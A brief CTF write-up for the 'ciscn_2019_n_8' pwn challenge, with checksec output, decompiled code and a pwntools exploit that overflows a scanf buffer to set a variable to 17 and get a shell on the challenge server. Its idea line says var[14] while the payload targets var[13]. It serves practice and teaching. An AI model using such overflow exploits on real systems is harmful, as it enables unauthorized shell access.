HugeH4rD

ciscn_2019_n_8

Ubuntu 18

---

0x01

---

checksec

[*] '/home/zelas/Desktop/pwn/ciscn_2019_n_8/ciscn_2019_n_8'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled	

IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp-14h] [ebp-20h]
  int v5; // [esp-10h] [ebp-1Ch]

  var[13] = 0;
  var[14] = 0;
  init();
  puts("What's your name?");
  __isoc99_scanf("%s", var, v4, v5);
  if ( *(_QWORD *)&var[13] )
  {
    if ( *(_QWORD *)&var[13] == 17LL )	//var[13]之后的8字节=17
      system("/bin/sh");
    else
      printf(
        "something wrong! val is %d",
        var[0],
        var[1],
        var[2],
        var[3],
        var[4],
        var[5],
        var[6],
        var[7],
        var[8],
        var[9],
        var[10],
        var[11],
        var[12],
        var[13],
        var[14]);
  }
  else
  {
    printf("%s, Welcome!\n", var);
    puts("Try do something~");
  }
  return 0;
}

0x02

---

思路

设置var[14] = 17

0x03

---

exp

from pwn import *

io = remote('node4.buuoj.cn', 25197)
payload = b'a'*13*4+p64(17)

io.sendline(payload)
io.interactive()